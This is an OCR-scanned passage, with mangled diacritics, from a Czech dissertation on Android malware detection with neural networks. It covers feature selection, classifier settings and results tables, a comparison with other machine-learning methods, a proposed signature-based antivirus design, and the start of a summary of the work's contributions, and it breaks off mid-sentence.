Length[Intersection[Position[blackFilled, 0], Position[whiteFilled, 0]]]

397

Obr. 6.15: Pozice nulovych features a jejich pocet [zdroj viastni]

Na obrazku 6.16 je vidét, Ze oblasti dat, ve kterych se vzorky malware a
legitimnich aplikaci 1i8i, jsou vyrazngjsi i1 s ohledem na vizualizaci kratSiho

303



intervalu hodnot na ose y. Zajimavé oblasti jsou na obrazku 6.16 oznaCeny
cerveng.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Legenda:
- Vzorky malware

- Vzorky Cistych legitimnich aplikaci

Obr. 6.16: ZvySeni rozdilu mezi soubory dat v proménnych blackDeleted a
whiteDeleted [zdroj viastni]

V dalsi fazi byla nad daty provedena nasledujici Uprava: byly vytazeny
features, kter¢ mély malé Cetnosti hodnot zadané syst¢tmem NAA. Jednalo se o
features, u nichZz ptevladala uméla hodnota u. Pro potieby této operace bylo
potieba stanovit horni a dolni mez. Experimentalné bylo zjisténo, Ze dobrych
vysledkt 1ze dosahnout, tak Ze:

e dolni mez (DM) byla stanovena jako pétiprocentni Cetnost z celkového
mnozstvi vzorkd. 5 % (nebo mén¢) vzorkli dané¢ho souboru méa hodnoty
zadané systémem NAA a 95 % (nebo vice) vzorkli dané¢ho souboru ma
umélou hodnotu u,

e horni mez (HM) byla stanovena jako dvacetiprocentni Cetnost z celkového
mnozstvi vzorkd. 20 % (nebo vice) vzorkli dané¢ho souboru méa hodnoty
zadané systtmem NAA a 80 % (nebo mén¢) vzorkli daného souboru ma
umélou hodnotu u.

Experimenty provedené s horni a dolni mezi ukazuji, Ze jejich vhodné
nastaveni ma velky vliv na vyslednou kvalitu vstupnich vektor trénovaci
mnoziny, tim 1 na celkovou efektivitu detekce mobilniho malware pomoci
neuronovych siti. Hodnoty horni a dolni meze nebyly definitivné stanoveny.
Z toho vyplyva moznost dalSiho vyzkumu nad ramec dizertacni prace. Bylo by
pfinosné provést komplexni sérii pokusii s cilem systematicky popsat, jak
hodnoty horni a dolni meze ovliviiuji kiivku detekéni efektivity. Popsany
experiment by mohl otevfit dalsi prostor pro optimalizaci detekéniho procesu.
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Na zéklad€ stanoveni horni a dolni meze byly vylouceny vSechny features,
které mély cetnost v blackDeleted men$i nebo rovnu dolni mezi s vyjimkou
features, které mély ve whiteDeleted Cetnosti vétSi neZz horni mez. Pokusy
ukazaly, Ze pokud by nebyla aplikovana horni mez, byly by vylouceny 1 features
s relativné vysokou informacni hodnotou a jejich nepfitomnost by negativné
ovlivnila kvalitu detekéniho procesu. Stejny postup byl aplikovan 1 na data, ktera
byla uloZena v proménné whiteDeleted. To znamena, Ze byly vylouceny vSechny
features, které¢ mély cetnost ve whiteDeleted mensi nebo rovnu dolni mezi s
vyjimkou features, které mély v blackDeleted ¢etnosti vétsi nez horni mez. Zbylé
features, které¢ mcly vysokou informacni hodnotu a nebyly smazany vyse
popsanym procesem, byly uloZeny spolu s jejich hodnotami do proménnych
dalsiDeleteBlack a dalsiDeleteWhite. Z popisu postupu, jakym byly vylouceny
vSechny features, které¢ mély malé Cetnosti NAA hodnot je jasné, Ze se features v
proménnych dalsiDeleteBlack a dalsiDeleteWhite budou nyni lisit. Features, které
méli vysokou informac¢ni hodnotu v proménné blackDeleted, ji nemuseli mit i
v proménné whiteDeleted. Plati, Ze features, které mély vysokou informacni
hodnotu v proménné whiteDeleted, ji nemuseli mit 1 v blackDeleted proménné.
To znamena, Ze je potfeba sjednotit seznamy features s vysokou informacni
hodnotou do jediného seznamu. Tato operace umoZni dostat data opét do
konzistentniho stavu. VSechny features, kterd jsou potfebna pro dalsi ast
vyzkumu, byla sjednocena do proménné finalFeatures.

Necht’ mnoZina A obsahuje features proménné dalsiDeleteBlack, a mnoZina B
obsahuje features proménné dalsiDeleteWhite. MnoZina A N B ptedstavuje
features, jez jsou obsazeny jak v proménné dalsiDeleteBlack, tak v proménne
dalsiDeleteWhite. Mnozina A — (A N B) ptedstavuje features, pro néz plati, ze
jsou vproménné dalsiDeleteBlack a zarovel nejsou v proménné
dalsiDeleteWhite. Mnozina B — (A N B) piedstavuje features, pro néz plati, ze
jsou vproménn¢ dalsiDeleteWhite a zaroven nejsou v proménné
dalsiDeleteBlack. Sjednocenim vSech téi mnozin: (ANB)U(A—(ANB))U
(B—(ANB)) jsou vSechny relevantni features uloZzeny v proménné
finalFeatures, viz obrazek 6.17.

A = dalsiDeleteBlack
B = dalsiDeleteWhite

ANB

Obr. 6.17: Proces slouceni vsech relevantnich features do promenné finalFeatures
[zdroj viastni]
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Vysledky experimentalni ¢asti vyzkumu ukazaly, Ze pro UspéSnou detekci
mobilniho malware pomoci neuronovych siti je nutné provést dalsi upravy dat.

Nejprve byly graficky znazornény hodnoty vSech features u obou typt,
v malware 1 v legitimnich aplikacich. Vizualizace byla provedena, tak ze jedna
feature byla zobrazena dvakrat vedle sebe. Vlevo byly hodnoty vSech vzorki
malware a vpravo hodnoty vSech vzorkil ¢istych mobilnich aplikaci, viz obrazek
6.18.

N
N

| | | | |
(4} B w N .

Obr. 6.18: Zobrazeni hodnot jedné feature vsech vzorkii malware (vlevo) a vsech
vzorkii cistych mobilnich aplikact (vpravo) [zdroj viastni]

Byly hledany takové features, jejichZ hodnoty byly stejné nebo velmi podobné
jak pro malware, tak 1 pro legitimni aplikace. To znamend features, které
zhorSovaly nebo neovlivitiovaly detekéni schopnosti neuronovych siti. Pozornost
byla nejprve zaméfena na skupiny features, které mély stejny typ grafu
(vizualizaci). Jakmile byl u nékolika features nalezen stejny typ vizualizace
hodnot pro malware 1 pro protilehly legitimni software, byly oznaceny jako
kandidati k vyfazeni. Aby nebyl vytazen typ features, ktery by obsahoval cenna
data, bylo provedeno experimentalni ovéfeni. Features dané¢ho typu byly do¢asné
vytazeny, pak byly vytvofeny mnozZiny trénovacich a testovacich vektoru.
Neuronova sit’ byla nauena pomoci mnoZiny trénovacich vektorti. Poté bylo
provedeno experimentalni zjiSténi detekEnich schopnosti neuronové sité na
mnozin¢ testovacich vektorti. Pokud byly detekéni schopnosti lepsi, byl dany typ
features vyrazen. Pokud klesla detekéni schopnost neuronové sité, byly vSechny
features daného typu ponechany. Cely proces vyfazovani problematicky
detekovatelnych typu features je zachycen na obrazku 6.19.
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{ Start vyrazovaciho procesu

Existuji features
stejného typu,
jejichZ vizualizace
(hodnoty) naznacuji
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rozliSitelnosti?
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vyrazovaciho
procesu

ano

Odebrani daného typu features na zakladé vizualizace

Vytvoreni mnoZziny vstupnich vektor( (trénovaci i testovaci mnoziny)

Uceni neuronové sité pomoci prvkl trénovaci mnoziny

Provedeni test( detekénich schopnosti neuronové
sité pomoci prvk{ testovaci mnoziny
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Vsechny features daného detekéni
typu (tzn. s danym typem schopnosti
grafu) budou zachovany neuronové
sité?

Vsechny features daného typu (tzn. s danym typem grafu) budou vyrazeny

Obr. 6.19: Proces vyrazovani problematicky detekovatelnych typu features [zdroj
viastni]

Po vyrazeni skupin features, které mély stejny typ grafu, nasledoval proces
jemného zptfesnéni dat. Bylo provedeno pomoci vyfazovani jednotlivych features,
které mély stejné nebo velmi podobné¢ vizualizace hodnot pro malware 1 pro
protilehly legitimni software. Vyfazovani individudlnich features bylo provedeno
podle stejného algoritmu, ktery byl pouZit pro odstraiiovani skupiny features,
které mély stejny typ grafu (obrazek 6.19).

Prvnim typem feature, ktery bylo potieba odstranit, nebot’ zhorSoval detekcni
schopnosti, byl takzvany monoliticky blok dat. V tomto typu grafu atribut vétSiny
vzorkil malware 1 legitimnich aplikaci nabyval pouze dvou hodnot. Hodnoty -5 a
20 byly tak casté, Ze to vedlo k vytvofeni témét obdélnikového grafu, ktery je
vidét na obrazku 6.20.

Features, které byly tvofeny monolitickym blokem dat, mély nejvétsi skodlivy
vliv a jejich odstranénim se vyrazné zvysila piesnost detekéniho procesu.
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{101,

Obr. 6.20: Monoliticky blok hodnot feature 101 [zdroj viastni]

DalSim typem byly features stakzvanym hiebenovym grafem. Hieben je
vytvafen tak, Ze vétSina hodnot osciluje mezi dvéma hodnotami. Navic je zde
obcasny nepravidelny vyskyt néjaké dalsi hodnoty, jejiz pritomnost vytvaii graf
pfipominajici hieben. Na obrazku 6.21 je vidét, Ze vétSina vzorkii ma u feature 51
hodnotu -5 nebo 1, ale nékteré vzorky maji 1 hodnotu 2 (ty pravé tvoii hieben
grafu). Z obrazku je rovnéZz vidét, Ze hieben vlevo tvofeny vzorky malware je
hustéjsi neZ hieben legitimnich aplikaci, ktery je vpravo. V datech se vyskytla
cela fada hiebent:

e fidky hieben na obou stranach.

e husty hifeben na obou stranach, viz obrazek 6.22.

e husty hieben na jedné strané¢ fidky hieben na druhé strané.

Obr. 6.21: Feature 51 vykazuje znaky hiebenového grafu [zdroj viastni]

Experimentalni vysledky naznacily, Ze k negativnimu ovliviiovani detekcnich
schopnosti neuronovych siti dochazi jak u features, které predstavuji kombinaci
hustého a fidkého hiebenu (jako je napiiklad na obrazku 6.21), tak u features, u
kterych je hustota hrotii hiebenu vice vyrovnana (napt. obrazek 6.22). Z tohoto
divodu musely byt odstranény features, jejichz hodnoty vytvaieji jakykoliv typ
hiebene s pravidelnymi hodnotami.
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Obr. 6.22: U feature 54 jsou znaky hiebenového grafu na obou strandch vice
pravidelné [zdroj viatni]

Dalsi typ features, ktery musel byt odstranén, je vidét na obrazku 6.23. Na jedné
stran¢ maji ob& hodnoty -5 a 1 velkou Cetnost (mtliZe jit i monolitickou nebo témet
monolitickou strukturu). Na druhé strané grafu ma vétSina vzorka hodnotu -5 a
jen maly pocet vzorkli dosahuje hodnoty 1. Experimentélni vysledky prokazaly,
Ze po odstranéni features tohoto typu dochazi ke zlepseni detekénich schopnosti.

1000 300 3000 4QoQ | 50p0 6000 |7000

o

Obr. 6.23: Feature 49 ma ruznou Cetnost hodnot -5 a 1 pro malware a pro cisté
aplikace [zdroj viastni]

Jak jiz bylo naznaceno vySe, ¢im vice se od sebe u jednotlivych features lisi
vzorky malware a legitimnich aplikaci, tim lep$i jsou detekéni schopnosti
neuronovych siti. Celkové lze fici, ze prace dokazala, Ze je naprosto nezbytna
kvalitni piiprava dat, ze kterych jsou vytvafeny vstupni vektory trénovaci
mnoziny. Jen neuronové sité, které byly uceny za pomoci pe€livé pfipravenych
datovych sad, davaji dobré detekcni vysledky. Nyni budou popsany typy features,
které naopak zvySuji detek¢ni schopnosti neuronovych siti. Jako nejlepsi se
ukazaly features, které mély pro malware 1 pro legitimni aplikace nepravidelnou
oscilaci mezi riznymi hodnotami a jejichz rozsahy se pro obé& skupiny liSily.
Ptikladem muze byt obrazek 6.24 zachycujici feature 88.
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Obr. 6.24: Feature 88 oscilace mezi riiznymi hodnotami pro malware a pro cisté
aplikace [zdroj viastni]

Dobrych vysledkil rovnéZz dosahovaly features, které mély u jedné skupiny
pfevladajici pravidelné hodnoty, viz obrazek 6.25 vlevo, zatimco u druhé skupiny
prevladaly nepravidelné hodnoty, viz obrazek 6.25 vpravo.
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Obr. 6.25: Feature 97 prevladajici pravidelné hodnoty (vievo) versus nepravidelné
hodnoty (vpravo) [zdroj viastni]

Zajimavé se ukazaly 1 features s kombinovanymi vlastnostmi, ve kterych
zaroven:
e prevladalo sttidani pevnych hodnot,
e rozsahy pevnych hodnot byly pro ob¢ skupiny rizné,
e v obou skupinich se objevovaly i nepravidelné hodnoty.

Typickym prikladem je feature 100, ktera je zachycena na obrazku 6.26. Miize
se zdat, Zze grafy malware 1 Cistych aplikaci maji podobny tvar grafu. Splhuji
podminky, které jsou uvedeny vySe, a odstranénim features tohoto typu se ztraci
1 ¢ast dulezitych informaci, coZ se projevuje na poklesu detekénich schopnosti
neuronovych siti.
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Obr. 6.26: Feature 100 podobny tvar grafu malwaru i neinfikovanych aplikaci [zdroj
viastni]

Pro tvorbu prototypu analyzitoru a experimentidlni ovétfeni detekénich
schopnosti je mozné provadét vyfazovani skupin features 1 jednotlivych features
na zakladé tvaru grafu. Pro implementaci do komer¢nich detekénich procesii by
bylo uzitecné provést vyzkum statistickych charakteristik hodnot features
vytazenych na zaklad¢€ jejich vizualizace a naprogramovat automatizované
vyfazovani Spatné€ rozliSitelnych features. Pro ovéfovani spravnosti postupll i
jemné doladéni 1ze opét pouzit proces vyfazovani problematicky detekovatelnych
typt features, ktery je na obrazku 6.19.

Problematika extrémiu

Z hlediska neuronovych siti predstavuji extrémy vyznamné hodnotici znaky.
Analyzy datovych sad ukézaly, Ze se extrémy pro obé skupiny vySetfovanych
aplikaci méni. Skute¢nost velmi snizuje informacni hodnotu extrémi jako celku.
Pokud se naptiklad hodnota 2147483647 v trénovaci mnozing vyskytuje pouze u
vzorklli malware, tak jde o vyznamny hodnotici znak. Pokud by se hodnota
2147483647 vyskytla u nezndmého vzorku, pak by vSechny APK aplikace s touto
hodnotou byly spiSe hodnoceny jako malware bez ohledu na to, zda se skutecné
jednalo o malware ¢i Cistou aplikaci. Na obrazku 6.27 jsou Cervené vyznaceny
extrémy, které jsou zodpovédné za vyznamné zkreslovani detekéniho procesu u
APK aplikaci, které maji danou (nebo podobnou) hodnotu, ale jsou z opacné
skupiny.
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220=n = 30;
number = Table[i, {i, 1, n}]:
blackMaxNList = Take[Sort[Max[x] & /@black2, Greater], n]:’
whiteMaxNList = Take[Sort[Max[x] & /@white2, Greater], n]:’
TableForm [Table[ {number[[i]], blackMaxNList[[1i]], whiteMaxNList([[i]]}, (i, 1, n}]]
1 2147483 647 224512
2 67961 168216
3 67961 117 646
4 67961 85456
5 67961 85456
6 65532 72861
7 65532 70542
8 64534 70262
9 63063 69887
10 60396 65534
11 60396 65534
12 60396 65533
13 60396 65532
14 60396 65532
15 60396 65532
16 59925 65532
17 59925 65156
18 56229 64969
19 55732 64229
20 55516 63591
21 54577 63063
22 54577 63063
23 54577 63063
24 54577 62871
25 54236 62706
26 54236 61537
27 53036 61537
8 52620 61537
29 52620 61537
30 52620 61537

Obr. 6.27: Extrémy jedné sady dat [zdroj viastni]

To znamena, ze poslednim krokem v ptiprave dat pro tvorbu vstupnich vektort
je vylouceni vyraznych extrémill. Kone¢ny pocet features, které nesly dilezite
informace potfebné pro uspésny proces uceni neuronovych siti, byl 86. Z dat,
ktera byla upravena procesy popsanymi vySe, byly pfipraveny osmdesatiSesti
slozkové vstupni vektory. Do trénovaci mnoziny byla pfifazena polovina vSech
vstupnich vektoril a testovaci mnozing€ byla pfifazena druhd polovina. V ramci
trénovani byla aplikovand ktiZzova valida¢ni metoda, ktera by méla snizit ptipadné
pfeuceni na minimum.

6.2.4 Pouziti umélé inteligence - uceni nejen neuronovymi sitémi

Umélé neuronové sité 1 dalsi techniky strojového uceni jsou tzv. data-driven
metody. Kazdy klasifikator je jen tak dobry, jak dobra a vhodna data dostane na
vstupu. Pro ziskani kvalitnich rozhodovacich modelu je tfeba ptipravit vhodnym
pfedzpracovanim vstupni data ve formé& numerickych vektort (podrobnéji vyse).
Jak bylo popsano vyse, ze vstupnich vektorl byly vytvoreny trénovaci a testovaci
mnoziny pro nauceni a otestovani neuronové sité pro detekci mobilniho malwaru.
V ramci disertacni prace byla provéfena predevsim sada kombinaci parametrii pro
umeélé neuronové sité, které se jevi jako vyborny klasifikani nastroj. Tyto
datasety ale byly pouzity i1 pro dalS§i srovnani s klasifikacnimi technikami
strojoveho uceni, jako jsou naivni bayesovsky klasifikator [169], logisticka
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regrese [170], metoda podpirnych vektort (Support Vector Machines) [171],
nahodny les (Random forest) [172], metoda k-nejblizSich sousedl (k-nereast
neighbours) [173]. Tyto metody jsou implementovany v prosttedi Mathematica
v ramci ptikazu Classify, ktery se pro né€ snazi nalézt nejvhodné&jsi nastaveni pro
dany dataset. V ramci disertacni prace si autor nekladl za cil nalézt u vSech metod
to nejlepSi mozné nastaveni. Bylo vyuZito nejmoderngjSich G¢innych metod a
jejich posledni znamé kvalitni nastaveni. Pouze neuronové sité¢ byly podrobeny
detailné;si analyze.

6.2.5 Nastaveni neuronovych siti

Byla provedena cela tada testll (trénovéani a testovani) s rliznym poctem
neurontl ve skryté vrstvé a riznou kombinaci ptfenosovych funkei dle nastaveni z
tabulky 6.1.

Tabulka 6.1 Nastaveni neuronovych siti

Parametr Hodnota
Pocet vstupnich atributli 86
Pocet vystupli 1
Pocet skrytych neurontl v jedné skryté vrstve 1-15
Ptenosové funkce — kombinace ve skryté¢ a Logistickd sigmoida,
vystupni vrstvé hyperbolicky tangens,

saturovana linearni

Pocet ucicich epoch 200
Ucici algoritmus Levenberg - Marquardt

6.2.6 Dosazené vysledky s vyuZzitim neuronovych siti

V tabulce 6.2. jsou vysledky pro v§echny kombinace a nastaveni, vzdy ve tvaru
pfesnost (accuracy) trénovaci, F1 score trénovaci, pfesnost (accuracy) testovaci,
F1 score testovaci. Cisla 1 — 15 odpovidaji po¢tu neuronti ve skryté vrstve.
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Tabulka 6.2 Komplexni vysledky pro neuronové sité

Sigmoid Tanh Sigmoid [Tanh SaturatedLin
Tanh Tanh Sigmoid [Sigmoid |SaturatedLin
94.0857 [98.8429 50. 50. 50.0429
94.3918 | 98.847 | 66.6667 [66.6667 0.171282
1 | 93.2571 [97.6429 50. 50. 49.9714
93.613 |[97.6466 | 66.6667 |66.6667 0.11409
99.0714 [99.0714 90.3 97.5571 50.0571
99.0731 |99.0731| 91.1253 [97.6081 0.228311
2 | 98.0571 |97.9286 | 89.8714 96.7 50.0143
98.0638 |97.9265| 90.7814 |96.7859 0.114188
99.1429 |92.9286 | 50.0429 |93.5571 98.9143
99.1406 |93.3117 | 66.6857 [93.9406 98.9161
3 |1 97.5714 |92.5143 | 50.0143 |92.4857 98.1286
97.5547 |92.9323| 66.673 |92.9698 98.132
94.9143 |98.6143 96.1 92.1571 98.6
95.1419 |98.6239| 96.212 92.714 98.6044
4 | 93.8714 |97.8286 | 95.4143 [91.2857 97.8857
94.1577 | 97.847 | 95.5559 |91.9397 97.8917
99.0714 99.1 92.4286 |91.9286 87.3
99.0753 |99.1004 | 92.9521 [92.4877 88.5865
5 1 97.8429 98. 91.8857 |91.1714 87.5143
97.8572 |98.0029 | 92.4748 [91.8081 88.7776
99.5 99.4571 96.5 88.7143 98.4
99.5004 |99.4575| 96.6024 [89.8117 98.4068
6 | 98.2286 [97.8714 | 96.1429 |88.2286 97.9857
98.2311 | 97.865 | 96.2635 | 89.406 97.9974
99.3429 |93.0857 | 93.0857 [92.5286 98.1714
99.3436 |93.4981 | 93.5277 [93.0295 98.1792
7 | 98.1857 |92.2143 92.4 91.9429 97.5714
98.1906 |92.7012 | 92.9236 [92.5159 97.5852
99.0143 |97.3714 | 93.0857 (90.1714 98.6429
99.0178 |97.4085| 93.5051 [90.9759 98.6504
8 | 97.8714 |96.3857 | 91.7429 |89.1286 97.7143
97.8844 196.4301| 92.2851 [90.0718 97.7331
96.8857 97.4 86.4143 |92.7857 92.3571
96.9043 |97.4524 | 87.9666 [93.2622 92.8313
9 96.5 96.3714 85.8 92.2857 91.6857
96.5391 |96.4584 | 87.4748 [92.8249 92.2627
98.9429 [|92.8429| 92.5571 92.7 98.7286
98.9477 |93.2797 | 93.0654 [93.1858 98.7298
10| 97.9286 |92.4714 | 92.0857 [92.0714 97.8571
97.94 92.9366 | 92.6506 [92.6344 97.8578
96.9429 |94.1857 | 87.3143 [86.0143 98.4857
96.9825 |94.4467 | 88.6764 |87.7149 98.4943
11| 96.0143 93.1 87.1286 |85.0429 97.7429
96.0831 |93.4384 | 88.5003 [86.9533 97.7538
94.3857 |98.4857 | 92.3714 [91.2143 98.5571
94.6509 [98.5003 | 92.9008 |91.9068 98.5623
12| 93.5143 |97.4571 | 91.6857 [89.9429 97.9286
93.8282 |97.4894 | 92.2996 [90.8405 97.9377
94.2857 |98.9429 | 89.6714 (87.6429 99.0714
94.5608 |98.9486 | 90.5847 [88.9542 99.0729
13 93.6 97.8143 | 88.9429 87.4 98.2143
93.923 [97.8221 ]| 89.9741 |88.7729 98.2135
97.9857 |87.2143 | 85.8429 [91.0571 99.1
98.0088 |88.5477 | 87.5892 [91.6954 99.1004
14| 97.3143 [86.7857 85.3 90.5 97.9571
97.3484 | 88.242 | 87.1712 |91.2118 97.9563
98.5857 |98.8143 92.6 83.3857 98.6857
98.5947 |98.8198 | 93.097 85.594 98.6906
15| 97.7857 |98.0286 | 92.1429 |82.7857 97.5143
97.8024 |98.0392 | 92.6901 |85.1363 97.5298
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Pti analyze vysledkd v Tab. 6.2 byly definovany nejlepSi kombinace
pienosovych funkci a po¢tu neuront ve skryté vrstvé do Tab. 6.3. Dle ziskanych
hodnot Ize konstatovat, Ze nalezené¢ modely maji vysokou piesnost s témét Zadnou
hladinou pfeuceni.

Tabulka 6.3 Nejlepsi vysledky pro neuronové sité v jednotlivych kombinacich

Sigmoid - Tanh 6 |Tanh - Tanh 15 |Sigmoid - Sigmoid 6 |Tanh - Sigmoid 2 |SaturatedLin - SaturatedLin 13
Accu-train 99.5 98.8143 96.5 97.5571 99.0714
Fl-train 99.5004 98.8198 96.6024 97.6081 99.0729
Accu-test 98.2286 98.0286 96.1429 96.7 98.2143
Fl-test 98.2311 98.0392 96.2635 96.7859 98.2135

Jako nejlepSi kombinaci 1ze z Tab. 6.3 prohlasit kombinaci pfenosoveé funkce
logistickeé sigmoidy ve skryté vrstve, prenosové funkce hyperbolického tangentu
ve vystupni vrstvé a 6 neurontl ve skryté vrstvé. Mezi sledovanymi parametry byla
piesnost 99.5 % pfi trénovani a 98.23 % pfii testovani UspéSnosti detekce vzorki
malwaru. Ne vZdy je presnost u klasifikatorou smérodatnou mirou. Pouzivaji se i
dal$i parametry, mezi které lze zatradit naptiklad specificitu, sensitivitu, pfesnost
¢1 F1 score. V Tab. 6.3 krom¢ piesnosti (accuracy) je pouzito F1 score, které bylo
v nejlepSim piipad€ rovno 99.5 % pfti trénovani a 98.23 % pfi testovani.

Pro tuto kombinaci pak detailni vysledky (konkrétni absolutni poCty korektné 1
nekorektné klasifikovanych dat a jednotlivé klasifikani miry) zobrazuji konfuzni
matice (matice zamén) v tabulkach 6.4 pro trénovani a 6.5 pro testovani.

Tabulka 6.4 Konfuzni matice (zdmén) trénovaci pro nejlepsi kombinaci

Konfuzni matice trénovaci - 6SigmoidTanh.txt
P N
predikce True TP 3485 FP 15
predikce False FN 20 TN 3480
TPR 99.57 TNR 99.43
FPR 0.43 FNR 0.57
Presnost (Accu) 99.5
Presnost (Precis) 99.57
F1 score 99.5
TPR-Sensitivita TNR-Specificita FPR-False positive rate FNR-False negative rate
Tabulka 6.5 Konfuizni matice (zdmén) testovaci pro nejlepSi kombinaci
Konfuzni matice testovaci - 6SigmoidTanh.txt
P N
predikce True TP 3443 FP 57
predikce False FN 67 TN 3433
TPR 98.37 TNR 98.09
FPR 1.63 FNR 1.91
Presnost (Accu) 98.23
Presnost (Precis) 98.37
F1 score 98.23
TPR-Sensitivita TNR-Specificita FPR-False positive rate FNR-False negative rate
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6.2.7 Srovnani vysledki s dalSimi metodami

Pro srovnani s vySe uvedenymi neuronovymi sitémi byly vyuzity dalsi techniky
z oblasti umélé inteligence a strojového uceni - naivni bayesovsky klasifikator,
logistickd regrese, metoda podpirnych vektorli (Support Vector Machines),
nahodny les (Random forest), metoda k-nejblizSich sousedii (k-nereast
neighbours), které jsou vyuzity v prostfedi Mathematica (www.wolfram.com) ve
vnitini funkci Classify. Vysledky srovnani jsou uvedeny v Tab. 6.6.

Tabulka 6.6 Srovnani metod umélé inteligence v ispéSnosti detekce malwaru

Neuronové | Néhodny les Naivni Metoda Metoda k- | Logisticka
sité (rozhodovaci | bayesovsky | podptrnych | nejblizSich | regrese
stromy) klasifikator vektort sousedil
= (Support
(Random vector
Forest) machines)
Accu- 99.5 98.34 95.6 99 96.76 98.4
train
F1- 99.5 98.36 96 99 96.8 98.4
train
Accu- 98.23 97.93 95.93 98.36 96.69 98.03
test
F1-test 98.23 97.96 96.01 98.36 96.73 98.03

Z Tab. 6.6 1ze konstatovat, Ze nalezeny model neuronovych siti byl nejlepsi ze
srovnavanych metod se sekundaci metody podpiirnych vektord.

Celkové lze uzavtit vysledky prohlaSenim, Ze v soufasn¢ dobé&, kdy je
v digitalnim svété kolem nas malwaru opravdu velké mnozstvi, je tfeba hledat
metody s vysokou piesnosti detekce. Je tteba hledat a pfeucovat techniky uméle
inteligence s cilem dosazeni nejlépe 100% piesnosti, jinak hrozi Casté faleSné
poplachy 1 pii 95% pienosti z dlivodu vysokého mnoZstvi potencidlnich aplikaci
— nosic¢l malwaru. FaleSné poplachy zakaznici vyvinutych antimalwarovych
aplikaci neoceni. AC jsou utoc¢nici vétSinou o krok ptfed penetracnimi testery ¢i
vyvojafi antimalwarovych programi, vyhody technik umélé inteligence nabizi
vybornou detekci malwaru 1 u neznamych (novych) vzorka. Neznamena to ale, Ze
neni potieba aktualizace uceni se zatazenymi nové objevenymi vzorky malwaru.

6.2.8 Popis mozné implementace naucené neuronové sité do komercnich
detek¢nich procest
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Po dokonceni vyzkumné Casti prace je mozné piikroCit k vytvofeni systému
pouzitelného v technické praxi. Transformacni software, datovy analyzator (ktery
upravuje data a vytvafi vstupni vektory) a naucena neuronova sit’ se ve vySSim
jazyce implementuji do jedin€ho systému. Modul neuronové sité¢ bude mit navic
rozhrani pro rychlé pfeu¢ovani na nové typy malwaru. Pfeucovani neuronové sité
je velmi dilezité, nebot’ zajisti schopnost detekovat 1 nejnovéjsi typy mobilniho
malwaru. Vstupem do detekéniho software bude APPS ANALYSIS LOG.log.
Vystupem bude seznam APK vzorki, které jsou infikované, a skupina vzorkd,
které jsou doporuceny k ruéni analyze. Predbézné vysledky ukazuji, ze jde o velmi
malou skupinu vzorkli v fadu jednotek kusll. Vytvareni skupiny vzorkl
doporucenych k ru¢ni analyze ptfedstavuje volitelnou ¢ast systému, ktera byla
navrzena na zdkladé¢ empirické zkuSenosti. Malware, ktery je na hranici sve
mnoziny, pfedstavuje zajimavy zdroj informaci, ktery:

e miize vést k navrhu novych features, jez budou zpiestiovat detekci
podobnych vzorkli malware,

e umozni dané spolecnosti ziskat unikatni know-how o novych utocnych

technikach malwaru.

U vSech vySetfovanych APK balickt, které byly detekovany jako malware, se
vypocita signatura (napiiklad pomoci funkce hash [168]). A nasledné se zatadi do
virové databaze, kterd tvoii zakladni know-how antivirovych spole¢nosti. Mobilni
antivirova aplikace bude obsahovat virovou databazi a mechanismus jejich
bezpecnych aktualizaci. Z divodu Application Sandboxing, ktery byl vysvétlen v
oddilu Princip detekce mobilniho malware pomoci neuronovych siti, mobilni
aplikace (tzn. mobilni antivirovy program) sama nebude provadét identifikaci
malwaru na zékladé jeho Skodlivého chovani pfimo v mobilnim zatizeni. Misto
toho bude pouze pocitat signatury nainstalovanych APK aplikaci a porovnavat je
s virovou databdzi. Pokud mobilni antivirovd aplikace nalezne signaturu
infikované APK aplikace, nabidne uZivateli jeji odinstalovani a dal$i ochranne
postupy v zavislosti na typu malwaru.
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7. PRINOS PRO VEDU A PRAXI

Bezpecnostni vyzkum popsany v dizertaéni praci byl zaméfen na nalezeni
zédvaznych bezpecnostnich chyb soucasnych mobilnich aplikaci, analyzu
mobilniho malwaru a navrh a experimentéalni ovéfeni noveého zplisobu detekce
mobilniho malwaru pomoci umélé inteligence, piedevSim pak pomoci
neuronovych siti. V kazdé z téchto oblasti byly vytvoreny vystupy, které mohou
pomoci nejen v navazujicim védeckém badani, ale mohou byt pfinosné pro
technickou praxi.

Jednim z typickych rysil, pfiznacnych pro oblast bezpecnosti mobilnich
aplikaci a mobilniho malwaru, je nedostatek odborn¢, komplexné zpracované
literatury. Na vznik odborné literatury tykajici se bezpe¢ného vyvoje mobilnich
aplikaci negativné plsobi rychlost a dynamika vyvoje mobilnich operacnich
systemu. Naptiklad operacni systém Android vySel za poslednich jedenact let
ve dvaceti deviti verzich. Relevantni systematicky vedeny vyzkum zabyvajici se
mobilnim malwarem je veden predevS§im v soukromych spolecnostech
zabyvajicich se kybernetickou bezpe€nosti, ve zlo¢ineckych organizacich a v
technologicky vyspélych arméadach. Ani jedna ztéchto skupin nema
z pochopitelnych divodli zajem sdilet vysledky svych vyzkumi s odbornou
vefejnosti. Analyzy, vySetfovani, testovani, psani experimentalnich malwart ale
1 praktické ovéfovani publikovanych zavéra dalo vzniknout praci, kterd tuto
mezeru v odborné literatufe zapliuje. Obsah prace neni pouze teoreticky, ale
piinasi celou fadu konkrétnich postupii ¢i vylepSeni. Naptiklad u ruéni dynamicke
analyzy prace navrhuje metodiky testovani v€etn€ vyvolani neoSettenych vyjimek
aplikace, vyvolani padu cel¢ aplikace se sledovanim systémoveho logu,
dosahovani nekonzistentniho stavu testovanych aplikaci, vytvareni sSkviry
odliSnosti apod. Pro tento typ analyzy byl rovnéZz zaveden diskrétni cas
vySetfovani, vCetné¢ dllezitych bodid kazdého dynamického testu. Pro rucni
statickou analyzu byla mimo jiné€ navrZena technika hledani vstupniho mista (tzv.
Entry Point) ve zdrojovych kodech aplikace. Dale byly popsany analyzy zdroji
(napt. xml konfiguracni soubory, nepiedkompilovana data) a zdrojovych koda
aplikace, a to vcetné praktickych ukazek. V ramci statické analyzy byla rovnéz
objasnéna problematika nalezeni tfidy nebo metody, kterd je zodpovédna za
zabezpeceni mobilni aplikace. Pro technickou praxi je mozné pouZit postupy, jako
jsou nalezeni chyb v zabezpeceni exponované tiidy nebo metody. V softwarovych
spoleCnostech je zase mozné vyuZzit objasnéni Utoénych metod pifi navrhu
robustniho zabezpeceni.

V oblasti automatizovanych vysetfovacich metod prace mimo jiné predstavuje
pozitiva 1 negativa automatizovanych vySetfovacich frameworkd a doporuceny
postup, jak je spolu s ostatnimi analytickymi metodami pouzivat. Vyzkum
provedeny v oblasti bezpecnosti mobilnich aplikaci trval dva a pil roku a
